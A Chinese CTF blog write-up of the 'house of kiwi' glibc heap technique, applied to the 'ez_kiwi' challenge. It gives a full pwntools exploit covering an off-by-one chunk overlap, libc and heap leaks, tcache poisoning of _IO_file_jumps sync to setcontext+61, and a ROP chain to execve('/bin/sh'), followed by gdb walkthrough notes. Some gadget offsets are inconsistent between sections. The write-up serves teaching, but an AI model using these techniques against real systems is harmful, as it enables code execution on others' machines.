house of kiwi利用

最近学习一下新的高版本堆利用。

利用条件:

house of kiwi需要两个条件:

1. 能够触发__malloc_assert

2. 能够申请到_IO_file_sync 和 _IO_helper_jumps这两个位置并且修改。

先看一下__malloc_assert的源码:

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

有一个fflush函数,这个函数会调用_IO_file_jumps结构体里的sync指针。(这个指针在stderr,stdout,stdin中都有)。 

因为我们可以像图中一样将_sync修改为setcontext+61从而通过rdx控制rsp和rcx。

 这里跳转到loc_581c6

接下来就需要触发__malloc_assert

附上一道例题(dest0g3 520招新赛的kiwi)

漏洞就在exit里溢出了一个字节,可以利用这个漏洞实现堆块重叠。

 exp:

from pwn import *
context.log_level='debug'
r=process('./ez_kiwi')
elf=ELF('./ez_kiwi')
libc=ELF('./libc.so.6')

def add(size,idx,content):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("How much do you want?",str(size))
    r.sendlineafter("Which one do you want to put?",str(idx))
    r.sendafter("Tell me your idea:",content)
def delete(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Which one do you want to remove?",str(idx))
def show(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("Which one do you want to look?",str(idx))
def edit(idx,content):
    r.sendlineafter(">> ",'4')
    r.sendlineafter("Which one do you want to change?",str(idx))
    r.sendafter("Change your idea:",content)
def gift():
    r.sendlineafter(">> ",'666')
def info(a,b):
    log.info("\033[0;33;40m"+a+hex(b)+'\033[0m')
r.sendlineafter(b'give me your name:\n', b'a')

#----------------------leak libc--------------------------#
for i in range(6):
    add(0xb0,i,b'a')
add(0x18,6,b'b')
add(0x80,7,b'c')
add(0x20,8,b'd')
add(0xb0,9,b'e')
payload=b'a'*0x10+p64(0)+b'\xc1'
edit(6,payload)
for i in range(6):
    delete(i)
delete(9)
delete(7)
add(0x80,1,b'a')
show(8)
leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak->",leak)
libc_base=leak-96-0x10-libc.sym['__malloc_hook']
info("libc_base->",libc_base)
IO_file_jumps=libc_base+libc.sym['_IO_file_jumps']
setcontext=libc_base+libc.sym['setcontext']+61
IO_helper_jumps=libc_base+0x1EC960-0xc0
info('IO_file_jumps->',IO_file_jumps)
info('setcontext->',setcontext)
info('IO_file_jumps->',IO_helper_jumps)
pop_rax=libc_base+0x000000000004a550
pop_rdi=libc_base+0x0000000000026b72
pop_rsi=libc_base+0x0000000000027529
pop_rdx_r12=libc_base+0x000000000011c371
syscall=libc_base+0x000000000002584d
ret=libc_base + 0x25679

add(0x20,2,b'k')#2==8
add(0x20,3,b'q')
delete(3)
delete(8)
edit(2,p64(IO_file_jumps+0x60)+b'\n')
add(0x20,3,b'b')#8,2
add(0x20,4,p64(setcontext)+b'\n')#IO_file_jumps+0x60(sync)->setcontext+61
add(0x20,5,b'a')
delete(5)
delete(3)
show(2)
r.recvuntil('content: ')
leakheap=u64(r.recv(6).ljust(8,b'\x00'))
info("leakheap->",leakheap)
heap_base=leakheap-0x920
info("heap_base->",heap_base)

binsh=heap_base+0x950
rop=p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rsi)+p64(0)
rop+=p64(pop_rdi)+p64(binsh)+p64(pop_rax)+p64(0x3b)+p64(syscall)
delete(1)
delete(6)
add(0x80,1,rop)
edit(2,p64(IO_helper_jumps+0xa0)+b'\n')
add(0x20,3,b'a')
add(0x20,5,p64(heap_base+0x770)+p64(ret))#rop+ret
add(0x28,6,b'a')
payload = b'/bin/sh\x00' * 2 + p64(0) * 3+ b'\x00'
edit(6,payload)
#gdb.attach(r)
gift()
r.interactive()

 

分析:

 首先申请堆块,修改堆块6,通过单字节溢出覆盖堆块7的size位为0xc1。

for i in range(6):
    add(0xb0,i,b'a')
add(0x18,6,b'b')
add(0x80,7,b'c')
add(0x20,8,b'd')
add(0xb0,9,b'e')
payload=b'a'*0x10+p64(0)+b'\xc1'
edit(6,payload)

将堆块7放入unsortedbin中,然后申请一个0x80堆块,此时由于堆块7已经向下覆盖了堆块8,因此申请之后堆块8还在unsortedbin中,但其实并没有被释放,show(8)泄露libc。

for i in range(6):
    delete(i)
delete(9)
delete(7)
add(0x80,1,b'a')
show(8)

 

 

接下来就是写一些函数的地址了

leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak->",leak)
libc_base=leak-96-0x10-libc.sym['__malloc_hook']
info("libc_base->",libc_base)
IO_file_jumps=libc_base+libc.sym['_IO_file_jumps']
setcontext=libc_base+libc.sym['setcontext']+61
IO_helper_jumps=libc_base+0x1EC960-0xc0
info('IO_file_jumps->',IO_file_jumps)
info('setcontext->',setcontext)
info('IO_file_jumps->',IO_helper_jumps)
pop_rax=libc_base+0x000000000004a550
pop_rdi=libc_base+0x0000000000026b72
pop_rsi=libc_base+0x0000000000027529
pop_rdx_r12=libc_base+0x000000000011c1e1
syscall=libc_base+0x00000000000E70B9
ret=libc_base + 0x25679

 这里特别注意:我们不能通过找函数的方式找到_IO_helper_jumps,所以我们需要先通过gdb算出偏移,然后减去偏移,这里需要多减去0xc0才是 _IO_helper_jumps的地址。

 然后申请0x20的堆块,由于这里的堆块2是unsortedbin中的,而这个其实是我们原来申请的堆块8,只不过被堆块7向下覆盖了,所以此时堆块2和堆块8指向同一个堆块。

首先修改堆块2使tcache链表变为

 然后将申请到的第二个堆块(_IO_file_jumps+0x60)也就是sync,修改为setcontext+61。

此时堆块3,8,2指向同一个堆块,释放3,show(2),泄露堆地址。

add(0x20,2,b'k')#2==8
add(0x20,3,b'q')
delete(3)
delete(8)
edit(2,p64(IO_file_jumps+0x60)+b'\n')
add(0x20,3,b'b')#8,2
add(0x20,4,p64(setcontext)+b'\n')#IO_file_jumps+0x60(sync)->setcontext+61
add(0x20,5,b'a')
delete(5)
delete(3)
show(2)
r.recvuntil('content: ')
leakheap=u64(r.recv(6).ljust(8,b'\x00'))
info("leakheap->",leakheap)
heap_base=leakheap-0x920
info("heap_base->",heap_base)

最后需要申请一个堆块并写入'/bin/sh\x00',这里需要计算好位置。然后系统调用execve(/bin/sh,0,0)

这里向堆块1中写入rop链,再编辑堆块2,将tcachebin链表修改为:

 申请的堆块5(_IO_helper_jumps+0xa0),在_IO_helper_jumps+0xa0处写rop地址,_IO_helper_jumps+0xa8写ret,然后再申请一个新堆块写入'/bin/sh\x00'

 然后执行gift函数get shell。

binsh=heap_base+0x950
rop=p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rsi)+p64(0)
rop+=p64(pop_rdi)+p64(binsh)+p64(pop_rax)+p64(0x3b)+p64(syscall)
delete(1)
delete(6)
add(0x80,1,rop)
edit(2,p64(IO_helper_jumps+0xa0)+b'\n')
add(0x20,3,b'a')
add(0x20,5,p64(heap_base+0x770)+p64(ret))#rop+ret
add(0x28,6,b'a')
payload = b'/bin/sh\x00' * 2 + p64(0) * 3+ b'\x00'
edit(6,payload)
#gdb.attach(r)
gift()

动调看malloc执行过程

下面调试看看gift函数执行流程:(彻底搞清楚malloc执行过程)

si跟进 

si跟进

si跟进

si跟进

 

 si跟进

 

这里可以看到__malloc_assert也执行了__fxprintf

继续走,看到__malloc_assert调用了fflush,si跟进

 可以看到我们执行了setcontext+61,并且rdx寄存器存放的是_IO_helper_jumps,而我们也已经将

 _IO_helper_jumps+0xa0和_IO_helper_jumps+0xa8进行修改。si跟进

 

看到成功劫持程序执行流

 

成功调用execve(/bin/sh,0,0)

 

 

  • 11
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值